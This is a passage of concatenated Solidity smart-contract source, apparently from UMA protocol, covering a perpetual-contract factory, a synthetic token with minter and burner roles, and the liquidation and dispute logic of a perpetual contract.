FixedPoint.Unsigned disputeBondPercentage; FixedPoint.Unsigned sponsorDisputeRewardPercentage; FixedPoint.Unsigned disputerDisputeRewardPercentage; FixedPoint.Unsigned minSponsorTokens; FixedPoint.Unsigned tokenScaling; uint256 withdrawalLiveness; uint256 liquidationLiveness; } // Address of TokenFactory used to create a new synthetic token. address public tokenFactoryAddress; event CreatedPerpetual(address indexed perpetualAddress, address indexed deployerAddress); event CreatedConfigStore(address indexed configStoreAddress, address indexed ownerAddress); /** * @notice Constructs the Perpetual contract. * @param _finderAddress UMA protocol Finder used to discover other protocol contracts. * @param _tokenFactoryAddress ERC20 token factory used to deploy synthetic token instances. * @param _timerAddress Contract that stores the current time in a testing environment. */ constructor( address _finderAddress, address _tokenFactoryAddress, address _timerAddress ) public ContractCreator(_finderAddress) Testable(_timerAddress) nonReentrant() { tokenFactoryAddress = _tokenFactoryAddress; } /** * @notice Creates an instance of perpetual and registers it within the registry. * @param params is a `ConstructorParams` object from Perpetual. * @return address of the deployed contract. */ function createPerpetual(Params memory params, ConfigStore.ConfigSettings memory configSettings) public nonReentrant() returns (address) { require(bytes(params.syntheticName).length != 0, "Missing synthetic name"); require(bytes(params.syntheticSymbol).length != 0, "Missing synthetic symbol"); // Create new config settings store for this contract and reset ownership to the deployer. ConfigStore configStore = new ConfigStore(configSettings, timerAddress); configStore.transferOwnership(msg.sender); emit CreatedConfigStore(address(configStore), configStore.owner()); // Create a new synthetic token using the params. TokenFactory tf = TokenFactory(tokenFactoryAddress); // If the collateral token does not have a `decimals()` method, // then a default precision of 18 will be applied to the newly created synthetic token. uint8 syntheticDecimals = _getSyntheticDecimals(params.collateralAddress); ExpandedIERC20 tokenCurrency = tf.createToken(params.syntheticName, params.syntheticSymbol, syntheticDecimals); address derivative = PerpetualLib.deploy(_convertParams(params, tokenCurrency, address(configStore))); // Give permissions to new derivative contract and then hand over ownership. tokenCurrency.addMinter(derivative); tokenCurrency.addBurner(derivative); tokenCurrency.resetOwner(derivative); _registerContract(new address[](0), derivative); emit CreatedPerpetual(derivative, msg.sender); return derivative; } /**************************************** * PRIVATE FUNCTIONS * ****************************************/ // Converts createPerpetual params to Perpetual constructor params. function _convertParams( Params memory params, ExpandedIERC20 newTokenCurrency, address configStore ) private view returns (Perpetual.ConstructorParams memory constructorParams) { // Known from creator deployment. constructorParams.finderAddress = finderAddress; constructorParams.timerAddress = timerAddress; // Enforce configuration constraints. require(params.withdrawalLiveness != 0, "Withdrawal liveness cannot be 0"); require(params.liquidationLiveness != 0, "Liquidation liveness cannot be 0"); _requireWhitelistedCollateral(params.collateralAddress); // We don't want perpetual deployers to be able to intentionally or unintentionally set // liveness periods that could induce arithmetic overflow, but we also don't want // to be opinionated about what livenesses are "correct", so we will somewhat // arbitrarily set the liveness upper bound to 100 years (5200 weeks). In practice, liveness // periods even greater than a few days would make the perpetual unusable for most users. require(params.withdrawalLiveness < 5200 weeks, "Withdrawal liveness too large"); require(params.liquidationLiveness < 5200 weeks, "Liquidation liveness too large"); // To avoid precision loss or overflows, prevent the token scaling from being too large or too small. FixedPoint.Unsigned memory minScaling = FixedPoint.Unsigned(1e8); // 1e-10 FixedPoint.Unsigned memory maxScaling = FixedPoint.Unsigned(1e28); // 1e10 require( params.tokenScaling.isGreaterThan(minScaling) && params.tokenScaling.isLessThan(maxScaling), "Invalid tokenScaling" ); // Input from function call. constructorParams.configStoreAddress = configStore; constructorParams.tokenAddress = address(newTokenCurrency); constructorParams.collateralAddress = params.collateralAddress; constructorParams.priceFeedIdentifier = params.priceFeedIdentifier; constructorParams.fundingRateIdentifier = params.fundingRateIdentifier; constructorParams.collateralRequirement = params.collateralRequirement; constructorParams.disputeBondPercentage = params.disputeBondPercentage; constructorParams.sponsorDisputeRewardPercentage = params.sponsorDisputeRewardPercentage; constructorParams.disputerDisputeRewardPercentage = params.disputerDisputeRewardPercentage; constructorParams.minSponsorTokens = params.minSponsorTokens; constructorParams.withdrawalLiveness = params.withdrawalLiveness; constructorParams.liquidationLiveness = params.liquidationLiveness; constructorParams.tokenScaling = params.tokenScaling; } // IERC20Standard.decimals() will revert if the collateral contract has not implemented the decimals() method, // which is possible since the method is only an OPTIONAL method in the ERC20 standard: // https://eips.ethereum.org/EIPS/eip-20#methods. function _getSyntheticDecimals(address _collateralAddress) public view returns (uint8 decimals) { try IERC20Standard(_collateralAddress).decimals() returns (uint8 _decimals) { return _decimals; } catch { return 18; } } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "../interfaces/FinderInterface.sol"; import "../../common/implementation/AddressWhitelist.sol"; import "./Registry.sol"; import "./Constants.sol"; /** * @title Base contract for all financial contract creators */ abstract contract ContractCreator { address internal finderAddress; constructor(address _finderAddress) public { finderAddress = _finderAddress; } function _requireWhitelistedCollateral(address collateralAddress) internal view { FinderInterface finder = FinderInterface(finderAddress); AddressWhitelist collateralWhitelist = AddressWhitelist(finder.getImplementationAddress(OracleInterfaces.CollateralWhitelist)); require(collateralWhitelist.isOnWhitelist(collateralAddress), "Collateral not whitelisted"); } function _registerContract(address[] memory parties, address contractToRegister) internal { FinderInterface finder = FinderInterface(finderAddress); Registry registry = Registry(finder.getImplementationAddress(OracleInterfaces.Registry)); registry.registerContract(parties, contractToRegister); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "./SyntheticToken.sol"; import "../../common/interfaces/ExpandedIERC20.sol"; import "../../common/implementation/Lockable.sol"; /** * @title Factory for creating new mintable and burnable tokens. */ contract TokenFactory is Lockable { /** * @notice Create a new token and return it to the caller. * @dev The caller will become the only minter and burner and the new owner capable of assigning the roles. * @param tokenName used to describe the new token. * @param tokenSymbol short ticker abbreviation of the name. Ideally < 5 chars. * @param tokenDecimals used to define the precision used in the token's numerical representation. * @return newToken an instance of the newly created token interface. */ function createToken( string calldata tokenName, string calldata tokenSymbol, uint8 tokenDecimals ) external nonReentrant() returns (ExpandedIERC20 newToken) { SyntheticToken mintableToken = new SyntheticToken(tokenName, tokenSymbol, tokenDecimals); mintableToken.addMinter(msg.sender); mintableToken.addBurner(msg.sender); mintableToken.resetOwner(msg.sender); newToken = ExpandedIERC20(address(mintableToken)); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "../../common/implementation/ExpandedERC20.sol"; import "../../common/implementation/Lockable.sol"; /** * @title Burnable and mintable ERC20. * @dev The contract deployer will initially be the only minter, burner and owner capable of adding new roles. */ contract SyntheticToken is ExpandedERC20, Lockable { /** * @notice Constructs the SyntheticToken. * @param tokenName The name which describes the new token. * @param tokenSymbol The ticker abbreviation of the name. Ideally < 5 chars. * @param tokenDecimals The number of decimals to define token precision. */ constructor( string memory tokenName, string memory tokenSymbol, uint8 tokenDecimals ) public ExpandedERC20(tokenName, tokenSymbol, tokenDecimals) nonReentrant() {} /** * @notice Add Minter role to account. * @dev The caller must have the Owner role. * @param account The address to which the Minter role is added. */ function addMinter(address account) external override nonReentrant() { addMember(uint256(Roles.Minter), account); } /** * @notice Remove Minter role from account. * @dev The caller must have the Owner role. * @param account The address from which the Minter role is removed. */ function removeMinter(address account) external nonReentrant() { removeMember(uint256(Roles.Minter), account); } /** * @notice Add Burner role to account. * @dev The caller must have the Owner role. * @param account The address to which the Burner role is added. */ function addBurner(address account) external override nonReentrant() { addMember(uint256(Roles.Burner), account); } /** * @notice Removes Burner role from account. * @dev The caller must have the Owner role. * @param account The address from which the Burner role is removed. */ function removeBurner(address account) external nonReentrant() { removeMember(uint256(Roles.Burner), account); } /** * @notice Reset Owner role to account. * @dev The caller must have the Owner role. * @param account The new holder of the Owner role. */ function resetOwner(address account) external override nonReentrant() { resetMember(uint256(Roles.Owner), account); } /** * @notice Checks if a given account holds the Minter role. * @param account The address which is checked for the Minter role. * @return bool True if the provided account is a Minter. */ function isMinter(address account) public view nonReentrantView() returns (bool) { return holdsRole(uint256(Roles.Minter), account); } /** * @notice Checks if a given account holds the Burner role. * @param account The address which is checked for the Burner role. * @return bool True if the provided account is a Burner. */ function isBurner(address account) public view nonReentrantView() returns (bool) { return holdsRole(uint256(Roles.Burner), account); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "./Perpetual.sol"; /** * @title Provides convenient Perpetual Multi Party contract utilities. * @dev Using this library to deploy Perpetuals allows calling contracts to avoid importing the full bytecode. */ library PerpetualLib { /** * @notice Returns address of new Perpetual deployed with given `params` configuration. * @dev Caller will need to register new Perpetual with the Registry to begin requesting prices. Caller is also * responsible for enforcing constraints on `params`. * @param params is a `ConstructorParams` object from Perpetual. * @return address of the deployed Perpetual contract */ function deploy(Perpetual.ConstructorParams memory params) public returns (address) { Perpetual derivative = new Perpetual(params); return address(derivative); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "./PerpetualLiquidatable.sol"; /** * @title Perpetual Multiparty Contract. * @notice Convenient wrapper for Liquidatable. */ contract Perpetual is PerpetualLiquidatable { /** * @notice Constructs the Perpetual contract. * @param params struct to define input parameters for construction of Liquidatable. Some params * are fed directly into the PositionManager's constructor within the inheritance tree. */ constructor(ConstructorParams memory params) public PerpetualLiquidatable(params) // Note: since there is no logic here, there is no need to add a re-entrancy guard. { } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./PerpetualPositionManager.sol"; import "../../common/implementation/FixedPoint.sol"; /** * @title PerpetualLiquidatable * @notice Adds logic to a position-managing contract that enables callers to liquidate an undercollateralized position. * @dev The liquidation has a liveness period before expiring successfully, during which someone can "dispute" the * liquidation, which sends a price request to the relevant Oracle to settle the final collateralization ratio based on * a DVM price. The contract enforces dispute rewards in order to incentivize disputers to correctly dispute false * liquidations and compensate position sponsors who had their position incorrectly liquidated. Importantly, a * prospective disputer must deposit a dispute bond that they can lose in the case of an unsuccessful dispute. * NOTE: this contract does _not_ work with ERC777 collateral currencies or any others that call into the receiver on * transfer(). Using an ERC777 token would allow a user to maliciously grief other participants (while also losing * money themselves). */ contract PerpetualLiquidatable is PerpetualPositionManager { using FixedPoint for FixedPoint.Unsigned; using SafeMath for uint256; using SafeERC20 for IERC20; /**************************************** * LIQUIDATION DATA STRUCTURES * ****************************************/ // Because of the check in withdrawable(), the order of these enum values should not change. enum Status { Uninitialized, NotDisputed, Disputed, DisputeSucceeded, DisputeFailed } struct LiquidationData { // Following variables set upon creation of liquidation: address sponsor; // Address of the liquidated position's sponsor address liquidator; // Address who created this liquidation Status state; // Liquidated (and expired or not), Pending a Dispute, or Dispute has resolved uint256 liquidationTime; // Time when liquidation is initiated, needed to get price from Oracle // Following variables determined by the position that is being liquidated: FixedPoint.Unsigned tokensOutstanding; // Synthetic tokens required to be burned by liquidator to initiate dispute FixedPoint.Unsigned lockedCollateral; // Collateral locked by contract and released upon expiry or post-dispute // Amount of collateral being liquidated, which could be different from // lockedCollateral if there were pending withdrawals at the time of liquidation FixedPoint.Unsigned liquidatedCollateral; // Unit value (starts at 1) that is used to track the fees per unit of collateral over the course of the liquidation. FixedPoint.Unsigned rawUnitCollateral; // Following variable set upon initiation of a dispute: address disputer; // Person who is disputing a liquidation // Following variable set upon a resolution of a dispute: FixedPoint.Unsigned settlementPrice; // Final price as determined by an Oracle following a dispute FixedPoint.Unsigned finalFee; } // Define the contract's constructor parameters as a struct to enable more variables to be specified. // This is required to enable more params, over and above Solidity's limits. struct ConstructorParams { // Params for PerpetualPositionManager only. uint256 withdrawalLiveness; address configStoreAddress; address collateralAddress; address tokenAddress; address finderAddress; address timerAddress; bytes32 priceFeedIdentifier; bytes32 fundingRateIdentifier; FixedPoint.Unsigned minSponsorTokens; FixedPoint.Unsigned tokenScaling; // Params specifically for PerpetualLiquidatable. uint256 liquidationLiveness; FixedPoint.Unsigned collateralRequirement; FixedPoint.Unsigned disputeBondPercentage; FixedPoint.Unsigned sponsorDisputeRewardPercentage; FixedPoint.Unsigned disputerDisputeRewardPercentage; } // This struct is used in the `withdrawLiquidation` method that disperses liquidation and dispute rewards. // `payToX` stores the total collateral to withdraw from the contract to pay X. This value might differ // from `paidToX` due to precision loss between accounting for the `rawCollateral` versus the // fee-adjusted collateral. These variables are stored within a struct to avoid the stack too deep error. struct RewardsData { FixedPoint.Unsigned payToSponsor; FixedPoint.Unsigned payToLiquidator; FixedPoint.Unsigned payToDisputer; FixedPoint.Unsigned paidToSponsor; FixedPoint.Unsigned paidToLiquidator; FixedPoint.Unsigned paidToDisputer; } // Liquidations are unique by ID per sponsor mapping(address => LiquidationData[]) public liquidations; // Total collateral in liquidation. FixedPoint.Unsigned public rawLiquidationCollateral; // Immutable contract parameters: // Amount of time for pending liquidation before expiry. // !!Note: The lower the liquidation liveness value, the more risk incurred by sponsors. // Extremely low liveness values increase the chance that opportunistic invalid liquidations // expire without dispute, thereby decreasing the usability for sponsors and increasing the risk // for the contract as a whole. An insolvent contract is extremely risky for any sponsor or synthetic // token holder for the contract. uint256 public liquidationLiveness; // Required collateral:TRV ratio for a position to be considered sufficiently collateralized. FixedPoint.Unsigned public collateralRequirement; // Percent of a Liquidation/Position's lockedCollateral to be deposited by a potential disputer // Represented as a multiplier, for example 1.5e18 = "150%" and 0.05e18 = "5%" FixedPoint.Unsigned public disputeBondPercentage; // Percent of oraclePrice paid to sponsor in the Disputed state (i.e. following a successful dispute) // Represented as a multiplier, see above. FixedPoint.Unsigned public sponsorDisputeRewardPercentage; // Percent of oraclePrice paid to disputer in the Disputed state (i.e. following a successful dispute) // Represented as a multiplier, see above. FixedPoint.Unsigned public disputerDisputeRewardPercentage; /**************************************** * EVENTS * ****************************************/ event LiquidationCreated( address indexed sponsor, address indexed liquidator, uint256 indexed liquidationId, uint256 tokensOutstanding, uint256 lockedCollateral, uint256 liquidatedCollateral, uint256 liquidationTime ); event LiquidationDisputed( address indexed sponsor, address indexed liquidator, address indexed disputer, uint256 liquidationId, uint256 disputeBondAmount ); event DisputeSettled( address indexed caller, address indexed sponsor, address indexed liquidator, address disputer, uint256 liquidationId, bool disputeSucceeded ); event LiquidationWithdrawn( address indexed caller, uint256 paidToLiquidator, uint256 paidToDisputer, uint256 paidToSponsor, Status indexed liquidationStatus, uint256 settlementPrice ); /**************************************** * MODIFIERS * ****************************************/ modifier disputable(uint256 liquidationId, address sponsor) { _disputable(liquidationId, sponsor); _; } modifier withdrawable(uint256 liquidationId, address sponsor) { _withdrawable(liquidationId, sponsor); _; } /** * @notice Constructs the liquidatable contract. * @param params struct to define input parameters for construction of Liquidatable. Some params * are fed directly into the PositionManager's constructor within the inheritance tree. */ constructor(ConstructorParams memory params) public PerpetualPositionManager( params.withdrawalLiveness, params.collateralAddress, params.tokenAddress, params.finderAddress, params.priceFeedIdentifier, params.fundingRateIdentifier, params.minSponsorTokens, params.configStoreAddress, params.tokenScaling, params.timerAddress ) { require(params.collateralRequirement.isGreaterThan(1)); require(params.sponsorDisputeRewardPercentage.add(params.disputerDisputeRewardPercentage).isLessThan(1)); // Set liquidatable specific variables. liquidationLiveness = params.liquidationLiveness; collateralRequirement = params.collateralRequirement; disputeBondPercentage = params.disputeBondPercentage; sponsorDisputeRewardPercentage = params.sponsorDisputeRewardPercentage; disputerDisputeRewardPercentage = params.disputerDisputeRewardPercentage; } /**************************************** * LIQUIDATION FUNCTIONS * ****************************************/ /** * @notice Liquidates the sponsor's position if the caller has enough * synthetic tokens to retire the position's outstanding tokens. Liquidations above * a minimum size also reset an ongoing "slow withdrawal"'s liveness. * @dev This method generates an ID that will uniquely identify liquidation for the sponsor. This contract must be * approved to spend at least `tokensLiquidated` of `tokenCurrency` and at least `finalFeeBond` of `collateralCurrency`. * @dev This contract must have the Burner role for the `tokenCurrency`. * @param sponsor address of the sponsor to liquidate. * @param minCollateralPerToken abort the liquidation if the position's collateral per token is below this value. * @param maxCollateralPerToken abort the liquidation if the position's collateral per token exceeds this value. * @param maxTokensToLiquidate max number of tokens to liquidate. * @param deadline abort the liquidation if the transaction is mined after this timestamp. * @return liquidationId ID of the newly created liquidation. * @return tokensLiquidated amount of synthetic tokens removed and liquidated from the `sponsor`'s position. * @return finalFeeBond amount of collateral to be posted by liquidator and returned if not disputed successfully. */ function createLiquidation( address sponsor, FixedPoint.Unsigned calldata minCollateralPerToken, FixedPoint.Unsigned calldata maxCollateralPerToken, FixedPoint.Unsigned calldata maxTokensToLiquidate, uint256 deadline ) external notEmergencyShutdown() fees() nonReentrant() returns ( uint256 liquidationId, FixedPoint.Unsigned memory tokensLiquidated, FixedPoint.Unsigned memory finalFeeBond ) { // Check that this transaction was mined pre-deadline. require(getCurrentTime() <= deadline, "Mined after deadline"); // Retrieve Position data for sponsor PositionData storage positionToLiquidate = _getPositionData(sponsor); tokensLiquidated = FixedPoint.min(maxTokensToLiquidate, positionToLiquidate.tokensOutstanding); require(tokensLiquidated.isGreaterThan(0)); // Starting values for the Position being liquidated. If withdrawal request amount is > position's collateral, // then set this to 0, otherwise set it to (startCollateral - withdrawal request amount). FixedPoint.Unsigned memory startCollateral = _getFeeAdjustedCollateral(positionToLiquidate.rawCollateral); FixedPoint.Unsigned memory startCollateralNetOfWithdrawal = FixedPoint.fromUnscaledUint(0); if (positionToLiquidate.withdrawalRequestAmount.isLessThanOrEqual(startCollateral)) { startCollateralNetOfWithdrawal = startCollateral.sub(positionToLiquidate.withdrawalRequestAmount); } // Scoping to get rid of a stack too deep error. { FixedPoint.Unsigned memory startTokens = positionToLiquidate.tokensOutstanding; // The Position's collateralization ratio must be between [minCollateralPerToken, maxCollateralPerToken]. require( maxCollateralPerToken.mul(startTokens).isGreaterThanOrEqual(startCollateralNetOfWithdrawal), "CR is more than max liq. price" ); // minCollateralPerToken >= startCollateralNetOfWithdrawal / startTokens. require( minCollateralPerToken.mul(startTokens).isLessThanOrEqual(startCollateralNetOfWithdrawal), "CR is less than min liq. price" ); } // Compute final fee at time of liquidation. finalFeeBond = _computeFinalFees(); // These will be populated within the scope below. FixedPoint.Unsigned memory lockedCollateral; FixedPoint.Unsigned memory liquidatedCollateral; // Scoping to get rid of a stack too deep error. The amount of tokens to remove from the position // are not funding-rate adjusted because the multiplier only affects their redemption value, not their // notional. { FixedPoint.Unsigned memory ratio = tokensLiquidated.div(positionToLiquidate.tokensOutstanding); // The actual amount of collateral that gets moved to the liquidation. lockedCollateral = startCollateral.mul(ratio); // For purposes of disputes, it's actually this liquidatedCollateral value that's used. This value is net of // withdrawal requests. liquidatedCollateral = startCollateralNetOfWithdrawal.mul(ratio); // Part of the withdrawal request is also removed. Ideally: // liquidatedCollateral + withdrawalAmountToRemove = lockedCollateral. FixedPoint.Unsigned memory withdrawalAmountToRemove = positionToLiquidate.withdrawalRequestAmount.mul(ratio); _reduceSponsorPosition(sponsor, tokensLiquidated, lockedCollateral, withdrawalAmountToRemove); } // Add to the global liquidation collateral count. _addCollateral(rawLiquidationCollateral, lockedCollateral.add(finalFeeBond)); // Construct liquidation object. // Note: All dispute-related values are zeroed out until a dispute occurs. liquidationId is the index of the new // LiquidationData that is pushed into the array, which is equal to the current length of the array pre-push. liquidationId = liquidations[sponsor].length; liquidations[sponsor].push( LiquidationData({ sponsor: sponsor, liquidator: msg.sender, state: Status.NotDisputed, liquidationTime: getCurrentTime(), tokensOutstanding: _getFundingRateAppliedTokenDebt(tokensLiquidated), lockedCollateral: lockedCollateral, liquidatedCollateral: liquidatedCollateral, rawUnitCollateral: _convertToRawCollateral(FixedPoint.fromUnscaledUint(1)), disputer: address(0), settlementPrice: FixedPoint.fromUnscaledUint(0), finalFee: finalFeeBond }) ); // If this liquidation is a subsequent liquidation on the position, and the liquidation size is larger than // some "griefing threshold", then re-set the liveness. This enables a liquidation against a withdraw request to be // "dragged out" if the position is very large and liquidators need time to gather funds. The griefing threshold // is enforced so that liquidations for trivially small # of tokens cannot drag out an honest sponsor's slow withdrawal. // We arbitrarily set the "griefing threshold" to `minSponsorTokens` because it is the only parameter // denominated in token currency units and we can avoid adding another parameter. FixedPoint.Unsigned memory griefingThreshold = minSponsorTokens; if ( positionToLiquidate.withdrawalRequestPassTimestamp > 0 && // The position is undergoing a slow withdrawal. positionToLiquidate.withdrawalRequestPassTimestamp > getCurrentTime() && // The slow withdrawal has not yet expired. tokensLiquidated.isGreaterThanOrEqual(griefingThreshold) // The liquidated token count is above a "griefing threshold". ) { positionToLiquidate.withdrawalRequestPassTimestamp = getCurrentTime().add(withdrawalLiveness); } emit LiquidationCreated( sponsor, msg.sender, liquidationId, _getFundingRateAppliedTokenDebt(tokensLiquidated).rawValue, lockedCollateral.rawValue, liquidatedCollateral.rawValue, getCurrentTime() ); // Destroy tokens tokenCurrency.safeTransferFrom(msg.sender, address(this), tokensLiquidated.rawValue); tokenCurrency.burn(tokensLiquidated.rawValue); // Pull final fee from liquidator. collateralCurrency.safeTransferFrom(msg.sender, address(this), finalFeeBond.rawValue); } /** * @notice Disputes a liquidation, if the caller has enough collateral to post a dispute bond and pay a fixed final * fee charged on each price request. * @dev Can only dispute a liquidation before the liquidation expires and if there are no other pending disputes. * This contract must be approved to spend at least the dispute bond amount of `collateralCurrency`. This dispute * bond amount is calculated from `disputeBondPercentage` times the collateral in the liquidation. * @param liquidationId of the disputed liquidation. * @param sponsor the address of the sponsor whose liquidation is being disputed. * @return totalPaid amount of collateral charged to disputer (i.e. final fee bond + dispute bond). */ function dispute(uint256 liquidationId, address sponsor) external disputable(liquidationId, sponsor) fees() nonReentrant() returns (FixedPoint.Unsigned memory totalPaid) { LiquidationData storage disputedLiquidation = _getLiquidationData(sponsor, liquidationId); // Multiply by the unit collateral so the dispute bond is a percentage of the locked collateral after fees. FixedPoint.Unsigned memory disputeBondAmount = disputedLiquidation.lockedCollateral.mul(disputeBondPercentage).mul( _getFeeAdjustedCollateral(disputedLiquidation.rawUnitCollateral) ); _addCollateral(rawLiquidationCollateral, disputeBondAmount); // Request a price from DVM. Liquidation is pending dispute until DVM returns a price. disputedLiquidation.state = Status.Disputed; disputedLiquidation.disputer = msg.sender; // Enqueue a request with the DVM. _requestOraclePrice(disputedLiquidation.liquidationTime); emit LiquidationDisputed( sponsor, disputedLiquidation.liquidator, msg.sender, liquidationId, disputeBondAmount.rawValue ); totalPaid = disputeBondAmount.add(disputedLiquidation.finalFee); // Pay the final fee for requesting price from the DVM. _payFinalFees(msg.sender, disputedLiquidation.finalFee); // Transfer the dispute bond amount from the caller to this contract. collateralCurrency.safeTransferFrom(msg.sender, address(this), disputeBondAmount.rawValue); } /** * @notice After a dispute has settled or after a non-disputed liquidation has expired, * anyone can call this method to disperse payments to the sponsor, liquidator, and disputer. * @dev If the dispute SUCCEEDED: the sponsor, liquidator, and disputer are eligible for payment. * If the dispute FAILED: only the liquidator receives payment. This method deletes the liquidation data. * This method will revert if rewards have already been dispersed. * @param liquidationId uniquely identifies the sponsor's liquidation. * @param sponsor address of the sponsor associated with the liquidation. * @return data about rewards paid out. */ function withdrawLiquidation(uint256 liquidationId, address sponsor) public withdrawable(liquidationId, sponsor) fees() nonReentrant() returns (RewardsData memory) { LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId); // Settles the liquidation if necessary. This call will revert if the price has not resolved yet. _settle(liquidationId, sponsor); // Calculate rewards as a function of the TRV. // Note1: all payouts are scaled by the unit collateral value so all payouts are charged the fees pro rata. // Note2: the tokenRedemptionValue uses the tokensOutstanding which was calculated using the funding rate at // liquidation time from _getFundingRateAppliedTokenDebt. Therefore the TRV considers the full debt value at that time. FixedPoint.Unsigned memory feeAttenuation = _getFeeAdjustedCollateral(liquidation.rawUnitCollateral); FixedPoint.Unsigned memory settlementPrice = liquidation.settlementPrice; FixedPoint.Unsigned memory tokenRedemptionValue = liquidation.tokensOutstanding.mul(settlementPrice).mul(feeAttenuation); FixedPoint.Unsigned memory collateral = liquidation.lockedCollateral.mul(feeAttenuation); FixedPoint.Unsigned memory disputerDisputeReward = disputerDisputeRewardPercentage.mul(tokenRedemptionValue); FixedPoint.Unsigned memory sponsorDisputeReward = sponsorDisputeRewardPercentage.mul(tokenRedemptionValue); FixedPoint.Unsigned memory disputeBondAmount = collateral.mul(disputeBondPercentage); FixedPoint.Unsigned memory finalFee = liquidation.finalFee.mul(feeAttenuation); // There are three main outcome states: either the dispute succeeded, failed or was not updated. // Based on the state, different parties of a liquidation receive different amounts. // After assigning rewards based on the liquidation status, decrease the total collateral held in this contract // by the amount to pay each party. The actual amounts withdrawn might differ if _removeCollateral causes // precision loss. RewardsData memory rewards; if (liquidation.state == Status.DisputeSucceeded) { // If the dispute is successful then all three users should receive rewards: // Pay DISPUTER: disputer reward + dispute bond + returned final fee rewards.payToDisputer = disputerDisputeReward.add(disputeBondAmount).add(finalFee); // Pay SPONSOR: remaining collateral (collateral - TRV) + sponsor reward rewards.payToSponsor = sponsorDisputeReward.add(collateral.sub(tokenRedemptionValue)); // Pay LIQUIDATOR: TRV - dispute reward - sponsor reward // If TRV > Collateral, then subtract rewards from collateral // NOTE: This should never be below zero since we prevent (sponsorDisputePercentage+disputerDisputePercentage) >= 0 in // the constructor when these params are set. rewards.payToLiquidator = tokenRedemptionValue.sub(sponsorDisputeReward).sub(disputerDisputeReward); // Transfer rewards and debit collateral rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator); rewards.paidToSponsor = _removeCollateral(rawLiquidationCollateral, rewards.payToSponsor); rewards.paidToDisputer = _removeCollateral(rawLiquidationCollateral, rewards.payToDisputer); collateralCurrency.safeTransfer(liquidation.disputer, rewards.paidToDisputer.rawValue); collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue); collateralCurrency.safeTransfer(liquidation.sponsor, rewards.paidToSponsor.rawValue); // In the case of a failed dispute only the liquidator can withdraw. } else if (liquidation.state == Status.DisputeFailed) { // Pay LIQUIDATOR: collateral + dispute bond + returned final fee rewards.payToLiquidator = collateral.add(disputeBondAmount).add(finalFee); // Transfer rewards and debit collateral rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator); collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue); // If the state is pre-dispute but time has passed liveness then there was no dispute. We represent this // state as a dispute failed and the liquidator can withdraw. } else if (liquidation.state == Status.NotDisputed) { // Pay LIQUIDATOR: collateral + returned final fee rewards.payToLiquidator = collateral.add(finalFee); // Transfer rewards and debit collateral rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator); collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue); } emit LiquidationWithdrawn( msg.sender, rewards.paidToLiquidator.rawValue, rewards.paidToDisputer.rawValue, rewards.paidToSponsor.rawValue, liquidation.state, settlementPrice.rawValue ); // Free up space after collateral is withdrawn by removing the liquidation object from the array. delete liquidations[sponsor][liquidationId]; return rewards; } /** * @notice Gets all liquidation information for a given sponsor address. * @param sponsor address of the position sponsor. * @return liquidationData array of all liquidation information for the given sponsor address. */ function getLiquidations(address sponsor) external view nonReentrantView() returns (LiquidationData[] memory liquidationData) { return liquidations[sponsor]; } /**************************************** * INTERNAL FUNCTIONS * ****************************************/ // This settles a liquidation if it is in the Disputed state. If not, it will immediately return. // If the liquidation is in the Disputed state, but a price is not available, this will revert. function _settle(uint256 liquidationId, address sponsor) internal { LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId); // Settlement only happens when state == Disputed and will only happen once per liquidation. // If this liquidation is not ready to be settled, this method should return immediately. if (liquidation.state != Status.Disputed) { return; } // Get the returned price from the oracle. If this has not yet resolved will revert. liquidation.settlementPrice = _getOraclePrice(liquidation.liquidationTime); // Find the value of the tokens in the underlying collateral. FixedPoint.Unsigned memory tokenRedemptionValue = liquidation.tokensOutstanding.mul(liquidation.settlementPrice); // The required collateral is the value of the tokens in underlying * required collateral ratio. FixedPoint.Unsigned memory requiredCollateral = tokenRedemptionValue.mul(collateralRequirement); // If the position has more than the required collateral it is solvent and the dispute is valid (liquidation is invalid) // Note that this check uses the liquidatedCollateral not the lockedCollateral as this considers withdrawals. bool disputeSucceeded = liquidation.liquidatedCollateral.isGreaterThanOrEqual(requiredCollateral); liquidation.state = disputeSucceeded ? Status.DisputeSucceeded : Status.DisputeFailed; emit DisputeSettled( msg.sender, sponsor, liquidation.liquidator, liquidation.disputer, liquidationId, disputeSucceeded ); } function _pfc() internal view override returns (FixedPoint.Unsigned memory) { return super._pfc().add(_getFeeAdjustedCollateral(rawLiquidationCollateral)); } function _getLiquidationData(address sponsor, uint256 liquidationId) internal view returns (LiquidationData storage liquidation) { LiquidationData[] storage liquidationArray = liquidations[sponsor]; // Revert if the caller is attempting to access an invalid liquidation // (one that has never been created or one has never been initialized). require( liquidationId < liquidationArray.length && liquidationArray[liquidationId].state != Status.Uninitialized ); return liquidationArray[liquidationId]; } function _getLiquidationExpiry(LiquidationData storage liquidation) internal view returns (uint256) { return liquidation.liquidationTime.add(liquidationLiveness); } // These internal functions are supposed to act identically to modifiers, but re-used modifiers // unnecessarily increase contract bytecode size. // source: https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6 function _disputable(uint256 liquidationId, address sponsor) internal view { LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId); require( (getCurrentTime() < _getLiquidationExpiry(liquidation)) && (liquidation.state == Status.NotDisputed), "Liquidation not disputable" ); } function _withdrawable(uint256 liquidationId, address sponsor) internal view { LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId); Status state = liquidation.state; // Must be disputed or the liquidation has 